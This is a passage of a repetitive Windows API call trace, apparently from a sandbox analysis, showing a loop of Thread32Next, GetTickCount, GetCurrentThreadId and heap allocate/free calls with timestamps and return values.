dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.613] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.614] GetTickCount () returned 0x1134dc3 [0118.614] GetCurrentThreadId () returned 0x614 [0118.614] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.614] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.614] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.615] GetTickCount () returned 0x1134dc3 [0118.615] GetCurrentThreadId () returned 0x614 [0118.615] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.615] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.615] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.615] GetTickCount () returned 0x1134dc3 [0118.615] GetCurrentThreadId () returned 0x614 [0118.615] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.615] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.615] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.616] GetTickCount () returned 0x1134dc3 [0118.616] GetCurrentThreadId () returned 0x614 [0118.616] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.616] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.616] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.617] GetTickCount () returned 0x1134dc3 [0118.617] GetCurrentThreadId () returned 0x614 [0118.617] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.617] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.617] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.618] GetTickCount () returned 0x1134dc3 [0118.618] GetCurrentThreadId () returned 0x614 [0118.618] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.618] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.618] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.618] GetTickCount () returned 0x1134dc3 [0118.618] GetCurrentThreadId () returned 0x614 [0118.618] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.618] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.618] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.619] GetTickCount () returned 0x1134dc3 [0118.619] GetCurrentThreadId () returned 0x614 [0118.619] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.619] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.619] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.620] GetTickCount () returned 0x1134dc3 [0118.620] GetCurrentThreadId () returned 0x614 [0118.620] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.620] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.620] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.621] GetTickCount () returned 0x1134dc3 [0118.621] GetCurrentThreadId () returned 0x614 [0118.621] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.621] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.621] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.621] GetTickCount () returned 0x1134dc3 [0118.621] GetCurrentThreadId () returned 0x614 [0118.621] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.621] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.621] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.622] GetTickCount () returned 0x1134dc3 [0118.622] GetCurrentThreadId () returned 0x614 [0118.622] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.622] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.622] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.623] GetTickCount () returned 0x1134dc3 [0118.623] GetCurrentThreadId () returned 0x614 [0118.623] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.623] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.623] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.624] GetTickCount () returned 0x1134dc3 [0118.624] GetCurrentThreadId () returned 0x614 [0118.624] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.624] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.624] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.625] GetTickCount () returned 0x1134dd3 [0118.625] GetCurrentThreadId () returned 0x614 [0118.625] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.625] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.625] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.625] GetTickCount () returned 0x1134dd3 [0118.626] GetCurrentThreadId () returned 0x614 [0118.626] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.626] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.626] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.626] GetTickCount () returned 0x1134dd3 [0118.626] GetCurrentThreadId () returned 0x614 [0118.626] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.626] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.626] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.627] GetTickCount () returned 0x1134dd3 [0118.627] GetCurrentThreadId () returned 0x614 [0118.627] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.627] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.627] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.628] GetTickCount () returned 0x1134dd3 [0118.628] GetCurrentThreadId () returned 0x614 [0118.628] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.628] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.628] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.628] GetTickCount () returned 0x1134dd3 [0118.628] GetCurrentThreadId () returned 0x614 [0118.628] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.628] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.628] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.629] GetTickCount () returned 0x1134dd3 [0118.629] GetCurrentThreadId () returned 0x614 [0118.629] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.629] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.629] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.630] GetTickCount () returned 0x1134dd3 [0118.630] GetCurrentThreadId () returned 0x614 [0118.630] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.630] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.630] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.631] GetTickCount () returned 0x1134dd3 [0118.631] GetCurrentThreadId () returned 0x614 [0118.631] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.631] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.631] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.631] GetTickCount () returned 0x1134dd3 [0118.631] GetCurrentThreadId () returned 0x614 [0118.631] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.631] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.632] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.632] GetTickCount () returned 0x1134dd3 [0118.632] GetCurrentThreadId () returned 0x614 [0118.632] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.632] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.632] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.633] GetTickCount () returned 0x1134dd3 [0118.633] GetCurrentThreadId () returned 0x614 [0118.633] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.633] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.633] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.634] GetTickCount () returned 0x1134dd3 [0118.634] GetCurrentThreadId () returned 0x614 [0118.634] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.634] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.634] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.634] GetTickCount () returned 0x1134dd3 [0118.634] GetCurrentThreadId () returned 0x614 [0118.634] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.634] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.635] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.635] GetTickCount () returned 0x1134dd3 [0118.635] GetCurrentThreadId () returned 0x614 [0118.635] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.635] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.635] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.636] GetTickCount () returned 0x1134dd3 [0118.636] GetCurrentThreadId () returned 0x614 [0118.636] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.636] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.636] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.637] GetTickCount () returned 0x1134dd3 [0118.637] GetCurrentThreadId () returned 0x614 [0118.637] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.637] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.637] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.637] GetTickCount () returned 0x1134dd3 [0118.637] GetCurrentThreadId () returned 0x614 [0118.637] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.637] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.637] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.638] GetTickCount () returned 0x1134dd3 [0118.638] GetCurrentThreadId () returned 0x614 [0118.638] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.638] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.638] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.639] GetTickCount () returned 0x1134dd3 [0118.639] GetCurrentThreadId () returned 0x614 [0118.639] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.639] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.639] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.640] GetTickCount () returned 0x1134dd3 [0118.640] GetCurrentThreadId () returned 0x614 [0118.640] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.640] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.640] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.640] GetTickCount () returned 0x1134de2 [0118.640] GetCurrentThreadId () returned 0x614 [0118.640] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.640] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.640] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.641] GetTickCount () returned 0x1134de2 [0118.641] GetCurrentThreadId () returned 0x614 [0118.641] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.641] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.641] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.642] GetTickCount () returned 0x1134de2 [0118.642] GetCurrentThreadId () returned 0x614 [0118.642] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.642] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.642] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.643] GetTickCount () returned 0x1134de2 [0118.643] GetCurrentThreadId () returned 0x614 [0118.643] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.643] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.643] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.643] GetTickCount () returned 0x1134de2 [0118.643] GetCurrentThreadId () returned 0x614 [0118.643] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.643] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.643] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.644] GetTickCount () returned 0x1134de2 [0118.644] GetCurrentThreadId () returned 0x614 [0118.644] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.644] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.644] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.645] GetTickCount () returned 0x1134de2 [0118.645] GetCurrentThreadId () returned 0x614 [0118.645] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.645] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.645] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.645] GetTickCount () returned 0x1134de2 [0118.645] GetCurrentThreadId () returned 0x614 [0118.645] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.645] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.645] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.646] GetTickCount () returned 0x1134de2 [0118.646] GetCurrentThreadId () returned 0x614 [0118.646] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.646] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.646] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.647] GetTickCount () returned 0x1134de2 [0118.647] GetCurrentThreadId () returned 0x614 [0118.647] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.647] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.647] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.648] GetTickCount () returned 0x1134de2 [0118.648] GetCurrentThreadId () returned 0x614 [0118.648] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.648] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.648] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.648] GetTickCount () returned 0x1134de2 [0118.648] GetCurrentThreadId () returned 0x614 [0118.648] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.648] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.648] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.649] GetTickCount () returned 0x1134de2 [0118.649] GetCurrentThreadId () returned 0x614 [0118.649] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.649] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.649] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.650] GetTickCount () returned 0x1134de2 [0118.650] GetCurrentThreadId () returned 0x614 [0118.650] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.650] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.650] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.651] GetTickCount () returned 0x1134de2 [0118.651] GetCurrentThreadId () returned 0x614 [0118.651] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.651] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.651] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.651] GetTickCount () returned 0x1134de2 [0118.651] GetCurrentThreadId () returned 0x614 [0118.651] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.651] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.651] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.652] GetTickCount () returned 0x1134de2 [0118.652] GetCurrentThreadId () returned 0x614 [0118.652] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.652] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.652] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.653] GetTickCount () returned 0x1134de2 [0118.653] GetCurrentThreadId () returned 0x614 [0118.653] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.653] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.653] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.654] GetTickCount () returned 0x1134de2 [0118.654] GetCurrentThreadId () returned 0x614 [0118.654] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.654] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.654] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.654] GetTickCount () returned 0x1134de2 [0118.654] GetCurrentThreadId () returned 0x614 [0118.654] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.654] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.654] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.655] GetTickCount () returned 0x1134de2 [0118.655] GetCurrentThreadId () returned 0x614 [0118.655] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.655] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.655] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.656] GetTickCount () returned 0x1134df2 [0118.656] GetCurrentThreadId () returned 0x614 [0118.656] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.656] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.656] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.657] GetTickCount () returned 0x1134df2 [0118.657] GetCurrentThreadId () returned 0x614 [0118.657] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.657] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.657] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.657] GetTickCount () returned 0x1134df2 [0118.658] GetCurrentThreadId () returned 0x614 [0118.658] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.658] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.658] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.658] GetTickCount () returned 0x1134df2 [0118.658] GetCurrentThreadId () returned 0x614 [0118.658] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.658] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.658] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.659] GetTickCount () returned 0x1134df2 [0118.659] GetCurrentThreadId () returned 0x614 [0118.659] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.659] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.659] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.660] GetTickCount () returned 0x1134df2 [0118.660] GetCurrentThreadId () returned 0x614 [0118.660] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.660] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.660] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.660] GetTickCount () returned 0x1134df2 [0118.660] GetCurrentThreadId () returned 0x614 [0118.661] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.661] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.661] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.661] GetTickCount () returned 0x1134df2 [0118.661] GetCurrentThreadId () returned 0x614 [0118.661] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.661] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.661] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.662] GetTickCount () returned 0x1134df2 [0118.662] GetCurrentThreadId () returned 0x614 [0118.662] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.662] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.662] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.663] GetTickCount () returned 0x1134df2 [0118.663] GetCurrentThreadId () returned 0x614 [0118.663] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.663] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.663] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.663] GetTickCount () returned 0x1134df2 [0118.664] GetCurrentThreadId () returned 0x614 [0118.664] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.664] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.664] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.664] GetTickCount () returned 0x1134df2 [0118.664] GetCurrentThreadId () returned 0x614 [0118.664] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.664] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.664] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.665] GetTickCount () returned 0x1134df2 [0118.665] GetCurrentThreadId () returned 0x614 [0118.665] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.665] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.665] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.666] GetTickCount () returned 0x1134df2 [0118.666] GetCurrentThreadId () returned 0x614 [0118.666] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.666] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.666] Thread32Next 